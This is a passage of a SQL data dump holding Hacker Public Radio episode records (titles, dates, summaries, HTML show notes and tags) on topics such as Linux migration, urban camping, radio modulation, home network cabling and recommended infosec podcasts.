(600,'2010-11-19','Handling spam',728,'A clever technique for identifying & mitigating services that sell your email to spammers','Xoke gives us tips on How to handle spam',79,0,1,'CC-BY-NC-SA','Spam',0,2361,1),
(602,'2010-11-23','Urban Camping ep 1  ',2169,'An introduction to urban camping; advantages, disadvantages, and challenges involved','<p>Klaatu\'s first episode in his HOW TO be an Urban Camper mini series.</p>                                                                                                         \r\n<p>Trombone sample from freesound.org catalogue number 73581<br />                                                                                                                  \r\nEnd song by Jimmy Rogers, courtesy archive.org</p>',78,46,0,'CC-BY-NC-SA','\"urban camping\"',0,3003,1),
(603,'2010-11-24','QSK Episode 4: AM vs. FM',1473,'A comparison of amplitude modulation and frequency modulation for radio broadcasts','After a discussion on IRC that I\'ve had several times before over the past few years, I decided to put my thoughts on the difference between AM and FM radio into a podcast. This talk gets a little bit technical but I think it\'s easy enough for the average listener to follow. Thank you, Linux Basement, for mentioning the show. I really appreciate it!',127,43,1,'CC-BY-NC-SA','broadcasting,radio',0,2485,1),
(604,'2010-11-25','Community Run Projects',938,'How to contribute to the community by participating in free projects','<p>Links to projects talked about:</p>\r\n<ul>\r\n<li>Free Rainbow Tables<br />\r\n<a href=\"https://www.freerainbowtables.com\" class=\"uri\">https://www.freerainbowtables.com</a>\r\n<ul>\r\n<li>Boinc<br />\r\n<a href=\"https://boinc.berkeley.edu/projects.php\" class=\"uri\">https://boinc.berkeley.edu/projects.php</a></li>\r\n</ul></li>\r\n<li>Archive Team<br />\r\n<a href=\"https://www.archiveteam.org\" class=\"uri\">https://www.archiveteam.org</a><br />\r\n<a href=\"https://www.archiveteam.org/index.php?title=GeoCities\" class=\"uri\">https://www.archiveteam.org/index.php?title=GeoCities</a></li>\r\n<li>Security B-Sides<br />\r\n<a href=\"https://www.securitybsides.com\" class=\"uri\">https://www.securitybsides.com</a></li>\r\n<li>Infosec Mentors Project<br />\r\n<a href=\"https://infosecmentors.com\" class=\"uri\">https://infosecmentors.com</a></li>\r\n<li>Hackerspaces<br />\r\n<a href=\"https://hackerspaces.org/wiki/\" class=\"uri\">https://hackerspaces.org/wiki/</a><br />\r\n<a href=\"https://makerslocal.org/\" class=\"uri\">https://makerslocal.org/</a></li>\r\n<li>Open Source Software Projects<br />\r\n<a href=\"https://sourceforge.net/\" class=\"uri\">https://sourceforge.net/</a><br />\r\n<a href=\"https://github.com/\" class=\"uri\">https://github.com/</a>\r\n<ul>\r\n<li>Code Raid<br />\r\n<a href=\"https://www.reddit.com/r/coderaid\" class=\"uri\">https://www.reddit.com/r/coderaid</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>You can find sp0rus at his blog<br />\r\n<a href=\"https://www.squaringcircles.blogspot.com\" class=\"uri\">https://www.squaringcircles.blogspot.com</a><br />\r\non twitter <span class=\"citation\" data-cites=\"jmstitt\">@jmstitt</span> and on IRC.</p>\r\n<p><small><small><em>Editor\'s Note</em>: Converted to full HTML 2021-06-08</small></small></p>\r\n',133,0,1,'CC-BY-NC-SA','community,free projects,contributing,learning',0,2389,1),
(605,'2010-11-26','How I found Linux',645,'Johninsc describes how he found Linux','This is a short podcast on how I found linux.',135,29,1,'CC-BY-NC-SA','Linux',0,2543,1),
(606,'2010-11-29','Thread_Repair',2341,'Practical techniques for repairing threads, and general tips for using screws/bolts','Not all threads are perfect, but they can be. Hackers sometimes become makers, and makers sometimes use threaded fasteners. Fasteners sometimes need a little TLC before they can serve you as well as you\'d like. Also Whiskey pairs surprisingly well with Cheez-its® and Play-Doh®. If any of this sounds familiar, then this episode is for you. \r\nThe Main website for Song Fight is https://songfight.org/ \r\nSong Fight\'s official stance on Copyright may be found at https://songfight.org/faq.html#copyright \r\nThe direct link to today\'s song is https://songfightorg.dreamhosters.com/music/outside_paradise/andrewayers+guest_op.mp3 \r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.',128,0,1,'CC-BY-NC-SA','diy,screwdriver,thread-safe,tools',0,2456,1),
(607,'2010-11-30','Klaatu talks to Rebecca from bueda.com',1034,'Rebecca is in sales at bueda.com','Klaatu talks to Rebecca from bueda.com about the Semantic Web, social networking, privacy and the internet, hipsters, and hipster boxing.  Want to hear all of this in the free codec ogg vorbis?  get it from the good folks over at the <a href=\"https://www.thebadapples.info/audiophile/hpr_hipsterBoxing.ogg\" target=\"_blank\">Gnu World order</a>',78,78,0,'CC-BY-NC-SA','semantic web,social network,hipster boxing,privacy',0,2331,1),
(608,'2010-12-01','sp0rus: My Linux Experience',844,'Sampling Linux distributions and learning the command line','My experience with Linux: distros I\'ve used and currently use, and where I plan on going from here.',133,0,1,'CC-BY-NC-SA','DSL,Ubuntu,Mandrake,CentOS,Mint,command line',0,2514,1),
(609,'2010-12-02','I Blame Tom Merritt',793,'A new host speaks of his first inklings of a Windows-free world','After more than a year of using Linux, Curbuntu shares some of the \"why\'s\" behind his switch.\r\nAlthough they are \"ancient history,\" if a listener is curious about the CNet episodes in which Tom Merritt mentioned Ubuntu, the video links are here:\r\n<ol>\r\n        <li><a href=\"https://cnettv.cnet.com/try-free-operating-system/9742-1_53-23461.html?tag=api\">2006-09-18: Try a Free Operating System</a></li>\r\n        <li><a href=\"https://cnettv.cnet.com/pain-free-linux-installation/9742-1_53-28756.html?tag=api\">2007-07-26: Install Ubuntu on Linux with no muss or fuss</a></li>\r\n        <li><a href=\"https://cnettv.cnet.com/run-ubuntu-linux-usb-drive/9742-1_53-32532.html?tag=api\">2008-03-21: Run Ubuntu Linux on a USB drive</a></li>\r\n</ol>',136,0,1,'CC-BY-NC-SA','Ubuntu,IBM mainframe,Tom Merritt',0,2773,1),
(610,'2010-12-03','First Robotics Competition',1282,'Introduction the First Robotics program - goal of the program, judging criteria, and more','<BR>First Robotics Competition\r\n<BR>\r\n<BR>First & the FRC\r\n<BR>Dean, Woodie, DLavery\r\n<BR>Construction season\r\n<BR>Competitions, matches, awards\r\n<BR>History & origin\r\n<BR>My involvement\r\n<BR>Your involvement\r\n<BR>                                                                                                                                                                                \r\n<BR>Useful links                                                                                                                                                                    \r\n<BR>FIRST -- For Inspiration & Recognition of Science & Technology (<A HREF=\"https://usfirst.org\">usfirst.org</A>)                                                                   \r\n<BR><A HREF=\"https://www.usfirst.org/roboticsprograms/frc/content.aspx?id=14538\">Info to get involved</A>                                                                            \r\n<BR><A HREF=\"https://www.usfirst.org/roboticsprograms/frc/content.aspx?id=902\">List of events</A>                                                                                    \r\n<BR><A HREF=\"https://www.usfirst.org/whatsgoingon.aspx\">Geographical search</A> to find teams & events near you                                                                      \r\n<BR><A HREF=\"https://www.usfirst.org/roboticsprograms/frc/content.aspx?id=4094\">Archieved competition info</A>                                                                       \r\n<BR>                                                                                                                                                                                \r\n<BR>mayesja (at) gmail                                                                                                                                                              \r\n<BR>',130,0,1,'CC-BY-NC-SA','education,robotics',0,2396,1),
(611,'2010-12-06','HPR Community News 0x01',2138,'HPR Community News 0x01','<h2>HPR News 0x01</h2>                                                                                                                                                              \r\n<h3>Welcome New hosts </h3>                                                                                                                                                         \r\n<h3>Show Review</h3>                                                                                                                                                                \r\n<h3>Promo played on shows</h3>                                                                                                                                                      \r\n<h3>Fixed comment spam</h3>                                                                                                                                                         \r\n<h3>RSS feed link to episode</h3>                                                                                                                                                   \r\n<h3>The great ogg debate</h3>                                                                                                                                                       \r\n<h3>Archive.org </h3>                                                                                                                                                               \r\n<h3>Hpr Submission Policy</h3>                                                                                                                                                      \r\n<h3>README.txt</h3>                                                                                                                                                                 \r\n<h3>Calendar</h3>                                                                                                                                                                   \r\n<h3>Syndication</h3>                                                                                                                                                                \r\n<h3>Requested Topics</h3>                                                                                                                                                           \r\n<h3>Other News</h3>                                                                                                                                                                 \r\n<h3>A word from our Spammers</h3> \r\n\r\n<p>Full shownotes at <a href=\"https://hackerpublicradio.org/shownotes/hpr0611.html\">https://hackerpublicradio.org/shownotes/hpr0611.html</a></p>',159,47,1,'CC-BY-NC-SA','Community News',0,2442,1),
(612,'2010-12-07','Urban cyclist - Commuting',1037,'Considerations regarding commuting through an urban environment on a bicycle','Intro - I am guitarman in IRC, got the nick from a Jerry Reid song which Elvis borrowed - just liked the lyrics and the performance. Not a health Nut, Nor an Expert on bike repair but do cycle every day and have for over 2.5 years.\r\nComplete show notes <a href=\"https://hackerpublicradio.org/shownotes/hpr0612.html\">https://hackerpublicradio.org/shownotes/hpr0612.html</a>',137,0,1,'CC-BY-NC-SA','bicycles,commute',0,4704,1),
(613,'2010-12-08','alternative investing and how the internet changes the game',822,'Some reflections on investing and saving','Shownotes from <a href=\"https://jwp5.wordpress.com/2010/11/16/alternative-investing-and-how-the-internet-changes-the-game/\">https://jwp5.wordpress.com/2010/11/16/alternative-investing-and-how-the-internet-changes-the-game/</a>\r\n<p>For My hacker Public Radio spot.<br />Recently, I had a chance to review about 30 years of my investing and savings.<br />Being a live long member of the save 10% club and having been debt free for a number years I thought I needed a review.</p> \r\n<p>Having been in the military I had picked almost all the wrong kinds of things to invest in in the pre-internet era that one could think of.<br />A few years ago when Ron Paul was running for President.<br />I stumbled upon his web site.<br />Having shared many views with Mr. Paul and him being a small town doctor from Texas.&nbsp; I was very interested in what he invested in.<br />I read that he had about 50% of his assets in hard assets like Gold Coins and the rest T bills.<br />Of course he was debt free and owned his home and land out right as well.&nbsp; </p> \r\n<p>I use Etrade and I am slowy moving the mistakes of the Army.<br />Its just hard to get in touch with folks that deal with paper.</p> \r\n<p>The reason I like Etrade so much is that they show the total loss or gain each investment right away.&nbsp; No guessing you can see it.<br />You also pay as you go with them and it is very clear what you have to pay in total fee&#8217;s.</p> \r\n<p>I like the treasury direct site as well.</p> \r\n<p>But what really interested me.<br />Is what is coming.&nbsp; And this is the Hacker part of that really says wow.<br />I have been a user of pay pal for a long time.<br />I have a German and American account with them and find its a great way to move dollars to euros with out a lot of over the top fees.<br />Most people do not think about having two types of money but I assure you the dollar is not worth very much today vs. the Euro.<br />Which is great for American Jobs.&nbsp; <br />Being a Pay Pal user I a saw this Microplace site they have.<br />I used my pay pal ID and it worked.<br />There was no tricks or anything.&nbsp; <br />You make a small loan to women in south texas or coco farms in the islands and they really pay you back.<br />I have done it for a few years and it made feel a lot better about sharing my money and getting a fair return.</p> \r\n<p>I also look into owning a share of Windmill or truck or locomotive but the incoming costs are pretty high.&nbsp; About 15K to starting in Germany to own a share of ship or locomotive.&nbsp; I like this because its a set investment a train that works in the Hamburg harbor and its there you can go and see it on your web cam and see it work.&nbsp; It pays back your entire principle over the 30 years of its life and it pays a share of the profit for that year.&nbsp; I have not found very many American investments like that.&nbsp; But have heard that some Oil trusts can do that.&nbsp; Can I have a web cam of it working would be a qualifying point for me.&nbsp; </p> \r\n<p>Well enjoy and thank about it.<br />Keep it simple if you do save and watch fee&#8217;s.<br />The younger you start the easier it is.<br />And do not borrow money with credit cards or by car with credit or buy home unless you put 20% down. <br />Would be the only other advice.<br />I read book one time about wealthy barber and another about a guy who saved three years living expenses.<br />I used much from both.&nbsp; <br />The one that really changed my life was when I had the living expenses worked out.<br />It changed how I felt about my Boss and what I would be willing do a lot.&nbsp; <br />The spirit to take chance also came from that.</p> \r\n<p>In any case I am off enjoy and be safe.</p> ',129,0,1,'CC-BY-NC-SA','investment,E-Trade,microfinance,MicroPlace,share,\"hard asset\"',0,2498,1),
(614,'2010-12-09','Intro To Audio and Pod/Oggcasting',1388,'We look at what sound is, and how we represent it digitally','<p>In this show we talk about what sound is and how we represent it digitally.</p>\r\n\r\n<ul>\r\n<li>A sine wave</li>\r\n<li>Analog to digital conversion\r\n    <ul>\r\n    <li>Chopping it up. (Bit rate)</li>\r\n    <li>How big is each slice. (Bit depth)</li>\r\n    <li>What is a WAV and what is a broadcast WAV.</li>\r\n    <li>What is a codec</li>\r\n    <li>Lossless audio codecs</li>\r\n    <li>Lossy audio codecs</li> \r\n    </ul>\r\n</li>\r\n</ul>\r\n\r\n<p><a href=\"https://opensourcemusician.com\">https://opensourcemusician.com</a><br/>\r\nirc.freenode.net #opensourcemusicians\r\n</p>\r\n',134,0,1,'CC-BY-NC-SA','frequency,amplitude,\"bit rate\",\"bit depth\",Ardour,codec',0,2617,1),
(615,'2010-12-10','Urban Camping ep 2',2069,'Exploring options for parking vehicles and couchsurfing/squatting while camping','<p>The second episode in the HOW TO be an Urban Camper mini series.  This one covers finding shelter, things to look out for, scouting out the neighborhood, police and other thugs, and where not to stay..<br />                                                                                                                                                      \r\nEnd song excerpt by the Princess Orchestra, courtesy archive.org</p>',78,46,0,'CC-BY-NC-SA','parking,lodging,relationships,\"urban camping\"',0,2828,1),
(616,'2010-12-13','Surfraw',691,'Surfraw, a command-line web searching utility','<a href=\"https://surfraw.alioth.debian.org\">Surfraw: Shell Users\' Revolutionary Front Rage Against the Web</a>\r\n\r\n<h2>About Surfraw</h2> \r\n \r\n<p> \r\nSurfraw provides a fast unix command line interface to a variety of\r\npopular WWW search engines and other artifacts of power. It reclaims\r\ngoogle, altavista, babelfish, dejanews, freshmeat, research index,\r\nslashdot and\r\n<a href=\"https://surfraw.alioth.debian.org#elvilist\">many others</a> \r\nfrom the false-prophet, pox-infested heathen\r\nlands of html-forms, placing these wonders where they belong, deep in\r\nunix heartland, as god loving extensions to the shell.</p>\r\n ',77,0,1,'CC-BY-NC-SA','\"command line\",\"search engine\"',0,2380,1),
(617,'2010-12-14','So You Wanna Start A Band?',2739,'How current copyright laws can affect musicians trying to start a band','<p>Many people only think about it from the fans perspective, without realizing the different steps it\'s taken to get to them. ThistleWeb talks about the current copyright cartel thinking in how it affects musicians. The same people who claim to speak on behalf of artists, lobby to enshrine laws supposedly for the artists. He talks through the process of starting a band and how often these laws crop up forcing the next generation of musicians to spend a LOT of money to stay legal, or be criminalized. Staying legal means coughing up to maintain the status quo.</p>\r\n<p>He ends with a brief comparison of how things can work under a Creative Commons license.</p>\r\n<p>He forgot to mention the parallels with the Musicians Guild in Discworld by Terry Pratchett, who send the assassins in to deal with people who think they can play music without being paid members of the Guild.</p>',106,0,1,'CC-BY-NC-SA','copyright,\"creative commons\",music',0,2496,1),
(618,'2010-12-15','Installing Windows XP in VirtualBox',1264,'A walkthrough of hosting a Windows XP virtual machine with virtualbox','<p>\r\nI use GNU/Linux for everything except one program that I need for work. Even the odd Windows games I\'ve played run nicely in wine now, but not this. I have looked for Open Source alternatives but so far have not come across anything I can use in the same way so that means I have to have an install of Windows on hand just for this one purpose. \r\n</p>\r\n<p>\r\nIn this podcast I am talking through setting up a virtual machine using VirtualBox, and installing Windows XP on that virtual machine.\r\n</p>\r\n<p>\r\n\r\nIf you would like me to make further episodes on this topic, maybe installing a different OS, or how to tweak this WinXP install once it is up and running then please drop me a line either on Twitter or identi.ca; I am @arfab; or email me on: arfab@lavabit.com\r\n</p>',138,0,1,'CC-BY-NC-SA','windows,virtualbox,virtualization',0,2736,1),
(619,'2010-12-16','QSK: Episode 5: You\'re Driving Me Crazy',2591,'Russ Woodman shares his pet peeves concerning drivers, driving, and traffic laws','<p>\r\nIn this episode of the QSK Netcast, your hero takes his road rage into the netcast arena. With a top-ten list of bad driving buffoonery to choose from, I stand on my soapbox for an entire episode and spout off to my heart\'s content. Be warned, the explicit tag on this episode means <strong>EXPLICIT</strong>.  No two ways about it. It just so happens that when I\'m passionate about something, I don\'t hold anything back. Please enjoy this latest episode and tell all your friends about the show. Don\'t forget to send feedback, too. I\'d love to hear what you think.</p>',127,43,1,'CC-BY-NC-SA','driving',0,2354,1),
(620,'2010-12-17','Klaatu holds an interview with Tek Systems',438,'An interview with Tek Systems, an IT staffing firm from Greenvile, South Carolina','Klaatu talks to Tek Systems at SELF 2010.  Listen to the <a href=\"https://www.thebadapples.info/audiophile/hpr_tekSystems_SELF2010.ogg\" target=\"_blank\">ogg vorbis</a> version courtesy of the Bad Applez.',78,78,0,'CC-BY-NC-SA','SELF, interview',0,2433,1),
(621,'2010-12-20','Dann and CafeNinja Book Review:  Ayn Rand\'s Atlas Shrugged',2846,'CafeNinja and Dann review \"Atlas Shrugged\" by Ayn Rand','<p>\r\nDann and CafeNinja provide a synopsis of the book and then discuss the points of objectivism in relation to historical, political, and personal impact.  A good time had by all.\r\n                                                                                                                                                    \r\nReferences                                                                                                                                                                          \r\n<ul>                                                                                                                                                                                \r\n<li>Atlas Shrugged by Ayn Rand</li>                                                                                                                                                 \r\n<li><a href=\"https://en.wikipedia.org/wiki/Objectivism_(Ayn_Rand)\">Objectivism - The Philosophy of Ayn Rand</a></li>                                                                 \r\n<li><a href=\"https://en.wikipedia.org/wiki/Ayn_Rand\">Ayn Rand on Wikipedia</a></li>                                                                                                  \r\n<li><a href=\"https://www.atlasshrugged.com\">Atlas Shrugged the Website</a></li>\r\n<li><a href=\"https://www.thelinuxlink.net/~dann/atlas_shrugged_review.txt\">Dann\'s Notes for this episode</a></li>\r\n</li>\r\n</p>\r\n<pre>\r\nhttps://en.wikipedia.org/wiki/Objectivism_(Ayn_Rand)\r\nhttps://en.wikipedia.org/wiki/Ayn_Rand\r\nhttps://www.atlasshrugged.com\r\nhttps://www.thelinuxlink.net/~dann/atlas_shrugged_review.txt\r\n</pre>\r\n',7,0,1,'CC-BY-NC-SA','book,\"book review\",philosophy',0,2456,1),
(622,'2010-12-21','Influenza',1324,'An introduction to the characteristics of the influenza virus and treatments','I discuss the biology, signs, symptoms, treatment, and prevention of influenza.  <a href=\"https://www.cdc.gov\">https://www.cdc.gov</a> is also a good place to go for information on inflluenza and has the latest information on influenza\'s spread.',116,0,1,'CC-BY-NC-SA','health',0,2589,1),
(623,'2010-12-22','nano editor',1030,'GNU nano is a simple editor, inspired by Pico','<h2>JWP Author</h2>\r\n\r\n<p>\r\nNano is a lot like Pico which is included as the editor in Pine.\r\nIt uses the Control key to execute commands and is very easy to use.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.nano-editor.org/dist/v2.2/faq.html\">https://www.nano-editor.org/dist/v2.2/faq.html</a></li>\r\n<li><a href=\"https://www.nano-editor.org/\">https://www.nano-editor.org/</a></li>\r\n</ul>\r\n\r\n<p>Also be sure to donate to Wikipedia.</p>\r\n<p>Show notes at <a href=\"https://jwp5.wordpress.com/2010/11/29/what-is-nano/\">https://jwp5.wordpress.com/2010/11/29/what-is-nano/</a></p>\r\n',129,0,1,'CC-BY-NC-SA','editor,command line,Pine,Pico',0,2418,1),
(3368,'2021-06-30','Infosec Podcasts Part 4 - Social Engineering Podcasts',417,'Presenting my favorite information security podcasts which focus on social engineering','<p>Inoffensive in every region of the world</p>\r\n<p>Special thanks to Thaj for sharing \"Audio for Podcasting: Episode 2 - Equalization\" (HPR3345 - <a href=\"https://hackerpublicradio.org/eps.php?id=3345\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3345</a> ). I will be trying to apply some of his advice in this recording.</p>\r\n<p>In case you have not heard my previous episodes, this introduction may be helpful. If you have already listened to my previous 3 episodes, I apologize for this sounding redundant.</p>\r\n<p>Why am I recording this series?</p>\r\n<p>As I reviewed the HPR List of Recommended Topics, \"What podcasts you listen to\" jumped off the screen at me.</p>\r\n<p>I am passionate about information security</p>\r\n<p>We desperately need people to fill infosec jobs in many different specialties, including</p>\r\n<p>Security operations, engineering, &amp; architecture</p>\r\n<p>Governance Risk, &amp; Compliance</p>\r\n<p>Application Security</p>\r\n<p>Security Education</p>\r\n<p>More...</p>\r\n<p>Infosec is a rapidly changing field, and it is critical to stay current</p>\r\n<p>As a result I listen to TONS of infosec related podcasts</p>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News &amp; Current Events</li>\r\n<li>Part 2 - General Information Security</li>\r\n<li>Part 3 - Career &amp; Personal Development</li>\r\n<li>Part 4 - Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks &amp; Attacks</li>\r\n<li>Technical Information &amp; Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-4\">Part 4</h2>\r\n<h3 id=\"social-engineering\">Social Engineering</h3>\r\n<p>Note: Social Engineering has a special place in my heart. In a previous life, I developed and ran the security awareness program for a large organization. I based the program on many of the threats we experienced on a daily basis, and the challenges users encountered, and sometimes fell for. As a result, much of the material addressed detecting and reporting social engineering attacks.</p>\r\n<ul>\r\n<li><p>Hacking Humans - Dave Bittner &amp; Joe Kerrigan – Sponsored by Know B4 (Weekly)<br />\r\nA weekly podcast about social engineering<br />\r\n<a href=\"https://thecyberwire.com/podcasts/hacking-humans.html\" class=\"uri\">https://thecyberwire.com/podcasts/hacking-humans.html</a></p></li>\r\n<li><p>The Social Engineer Podcast - Chris Hadnagy &amp; social-engineer.org (Was Monthly, increasing frequency)<br />\r\nA deep dive into the science, psychology, and application of social engineering<br />\r\nChris also runs the Social engineering Village at Defcon.<br />\r\n<em>Books:</em><br />\r\n</p>\r\n<ul>\r\n<li>Social Engineering: The Science of Human Hacking<br />\r\n</li>\r\n<li>Human Hacking: Win Friends, Influence People, and Leave Them Better Off for Having Met You<br />\r\n</li>\r\n<li>Innocent Lives Foundation - <a href=\"https://www.innocentlivesfoundation.org/\" class=\"uri\">https://www.innocentlivesfoundation.org/</a><br />\r\n<br />\r\n<a href=\"https://www.social-engineer.org/category/podcast/\" class=\"uri\">https://www.social-engineer.org/category/podcast/</a></li>\r\n</ul></li>\r\n<li><p>The PRIVACY, SECURITY, &amp; OSINT Show – Michael Bazzell (Weekly)<br />\r\n<em>Michael Bazzell books:</em><br />\r\n</p>\r\n<ul>\r\n<li>Open Source Intelligence Techniques (Just released 8th Edition)<br />\r\n</li>\r\n<li>Extreme Privacy (3rd Edition)<br />\r\nIdeas to help you become digitally invisible, stay secure from cyber threats, and make you a better online investigator<br />\r\n<br />\r\n<a href=\"https://www.inteltechniques.com/podcast.html\" class=\"uri\">https://www.inteltechniques.com/podcast.html</a></li>\r\n</ul></li>\r\n</ul>\r\n',394,75,0,'CC-BY-SA','infosec, podcasts, security, social engineering',0,0,1),
(624,'2010-12-23','Urban Camping ep 3',1698,'Episode 3: personal hygiene','<p>The third episode in Klaatu\'s HOW TO be an Urban Camper mini series, about the always engrossing topic of personal hygiene.</p>',78,46,0,'CC-BY-NC-SA','stairwell,yurt,shower,gym membership,urban camping',0,2448,1),
(625,'2010-12-24','Network Cabling at Resno\'s House',3992,'Standards, equipment and techniques used for cabling your network at home','<p>\r\nCabeling at home can be tricky. In this episode pokey and resno discuss some ways of creating a wired network in a residential space. Resno was kind enough to let us use his own home as the example for this discussion.</p>\r\n<p>\r\nThe Main website for Song Fight is https://songfight.org/ \r\nSong Fight\'s official stance on Copyright may be found at https://songfight.org/faq.html#copyright \r\n</p>\r\n<p>\r\nThe direct link to today\'s song is https://www.songfight.org/music/tw3rp/anarchaeologists_tw3rp.mp3 \r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',128,0,1,'CC-BY-NC-SA','cable,diy,networking',0,2584,1),
(626,'2010-12-27','Urban Camping ep 4',1332,'Episode 4: organizing your gear','<p>The third episode in Klaatu\'s HOW TO be an Urban Camper mini series, about organization of your gear, and the eternal quest for the perfect coffee travel mug.</p>',78,46,0,'CC-BY-NC-SA','backpack,locker,ziplock bag,travel mug,urban camping',0,2471,1),
(627,'2010-12-28','From OS X to OS Whoredom to Linux',1880,'Ruji\'s journey to Linux','<p>\r\nRuji tells her story of discovering FOSS and installing Sabayon Linux on a MacBook Pro. She also discusses Mac OS X, virtualization, and multimedia software.\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Ruji\'s main site: <a href=\"https://rujic.net\">https://rujic.net</a></li>\r\n<li>Ruji\'s image gallery: <a href=\"https://supposedly.rujic.net/lookwhaticando\">https://supposedly.rujic.net/lookwhaticando</a></li>\r\n<li>Musical guest Russian Paul\'s page: <a href=\"https://myspace.com/russianpaulband\">https://myspace.com/russianpaulband</a></li>\r\n</ul>\r\n',139,0,1,'CC-BY-NC-SA','Mac OS X,Windows XP,freeware,shareware,FOSS,Mandriva,Ubuntu,Sabayon',0,2770,1),
(628,'2010-12-29','Tasker - Automation for Android Devices',840,'brother mouse speaks of Tasker in his first show for HPR','<p>\r\nThis first attempt is about Tasker, an Android app that enables the user to tweak and automate the Android smartphone. I have no connection with the author but find the app endlessly useful.\r\n</p>\r\n<p>\r\nURLs<br />\r\n<ul>\r\n<li>Tasker site: <a href=\"https://tasker.dinglisch.net\">https://tasker.dinglisch.net</a></li>\r\n<li>Tasker support: <a href=\"https://groups.google.com/group/tasker\">https://groups.google.com/group/tasker</a></li>\r\n<li>Tasker wiki: <a href=\"https://tasker.wikidot.com/profile-index\">https://tasker.wikidot.com/profile-index</a></li>\r\n<li>My personal site:  <a href=\"https://www.mousetrap.net/mouse/\">https://www.mousetrap.net/mouse/</a></li>\r\n</ul>\r\n</p>',140,0,1,'CC-BY-NC-SA','Tasker,Android,automation',0,2596,1),
(629,'2010-12-30','RSS 2.0 Specification with iTunes namespace',1946,'An explanation of the RSS 2.0 specification, the iTunes namespace, and HPR\'s RSS feed','<p>\r\nLike <a href=\"https://www.w3schools.com/html/\">HTML</a>, <a href=\"https://www.w3schools.com/rss/\">RSS</a> is a form of <a href=\"https://www.w3schools.com/xml/\">XML</a> and today we take a look at the RSS 2.0 specification specifically how that will relate to the Hacker Public Radio feed. <br />\r\nRSS 2.0 is offered by the Berkman Center for Internet & Society at Harvard Law School under the terms of the Attribution/Share Alike Creative Commons license. The author of this document is Dave Winer, founder of UserLand software, and fellow at Berkman Center. \r\n</p>\r\n<ul>\r\n<li><a href=\"https://cyber.law.harvard.edu/rss/rss.html\">RSS 2.0 Specification</a></li>\r\n<li><a href=\"https://www.apple.com/itunes/podcasts/specs.html\">iTunes RSS Name Space Tags</a></li>\r\n<li><a href=\"https://www.rssboard.org/rss-profile\">Really Simple Syndication Best Practices Profile</a></li>\r\n<li><a href=\"https://validator.w3.org/feed/\">The W3C Feed Validation Service</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/test.xml\">HPR test Feed</a></li>\r\n</ul>\r\n\r\n\r\n\r\n<pre>\r\nhttps://cyber.law.harvard.edu/rss/rss.html\r\nhttps://www.apple.com/itunes/podcasts/specs.html\r\nhttps://www.rssboard.org/rss-profile\r\nhttps://validator.w3.org/feed/\r\nhttps://hackerpublicradio.org/test.xml\r\nhttps://www.w3schools.com/html/\r\nhttps://www.w3schools.com/xml/\r\nhttps://www.w3schools.com/rss/\r\n</pre>',30,0,1,'CC-BY-NC-SA','hpr,rss',0,2287,1),
(630,'2010-12-31','HPR at the Northeast GNU-Linux Fest',925,'Pokey outlines his plans for the Northeast GNU/Linuxfest','<p>Hacker Public Radio will have a table at the Northeast GNU/Linux Fest. Please come visit us to learn about contributing to HPR and for a free HPR sticker (while they last). You can also join in and help us out. If you\'re a contributor to HPR, represent. Please Join the Hacker Public Radio mailing list to keep up to speed on what we\'re doing.</p>\r\n<ul>\r\n<li>You can sign up for the HPR mailing list at <a href=\"https://hackerpublicradio.org/maillist\">https://hackerpublicradio.org/maillist</a></li>\r\n<li>The main website for NELF is <a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a></li>\r\n<li>The main website for Song Fight is <a href=\"https://songfight.org/\">https://songfight.org/</a></li>\r\n<li>Song Fight\'s official stance on Copyright may be found at <a href=\"https://songfight.org/faq.html#copyright\">https://songfight.org/faq.html#copyright</a></li>\r\n<li>The direct link to today\'s song is <a href=\"https://www.songfight.org/music/she_already_knows/barelyadequate_sak.mp3\">https://www.songfight.org/music/she_already_knows/barelyadequate_sak.mp3</a></li>\r\n</ul>\r\n<p>Thank you for listening.<br />\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.</p>',128,0,1,'CC-BY-NC-SA','conference,nelf',0,2461,1),
(631,'2011-01-03','HPR Community News 0x02',1289,'HPR Community News 0x02','<h3>Welcome New hosts</h3>\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=137\">guitarman</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=138\">arfab</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=139\">Ruji</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=140\">brother mouse</a>\r\n\r\n<h3>Show Review</h3>\r\n<pre>\r\n612     guitarman:: Urban cyclist - Commuting\r\n613     JWP:: alternative investing and how the internet changes...\r\n614     PipeManMusic:: Intro To Audio and Pod/Oggcasting\r\n615     klaatu:: Urban Camping ep 2\r\n616     Dave Yates:: Surfraw\r\n617     Thistleweb:: So You Wanna Start A Band?\r\n618     arfab:: Installing Windows XP in VirtualBox\r\n619     KFive:: QSK: Episode 5: You\'re Driving Me Crazy\r\n620     klaatu:: Klaatu holds an interview with Tek Systems\r\n621     Dann:: Dann and CafeNinja Book Review:  Ayn Rand\'s Atlas ...\r\n622     janedoc:: Influenza\r\n623     JWP:: nano editor\r\n624     klaatu:: Urban Camping ep 3\r\n625     pokey:: Network Cabeling at Resno\'s House\r\n626     klaatu:: Urban Camping ep 4\r\n627     Ruji:: From OS X to OS Whoredom to Linux\r\n628     brother mouse:: Tasker - Automation for Android Devices\r\n629     Ken Fallon::RSS 2.0 Specification with iTunes namespace\r\n630     pokey:: HPR at the Northeast GNU-Linux Fest\r\n</pre>\r\n\r\n<h3>Other News</h3>\r\n<li>Comments: All comments need to be approved which led to a 50% reduction in bandwidth. Captas have been disabled. A rewrite of comment system is needed. Comment feed behind <a href=\"https://hackerpublicradio.org/comments_viewer.php\">P</a> in HPR</li>\r\n  </li>\r\n<li>Searching for WAV versions of the intro/outro</a>\r\n<li>Ken was promoting HPR on the KnightWise 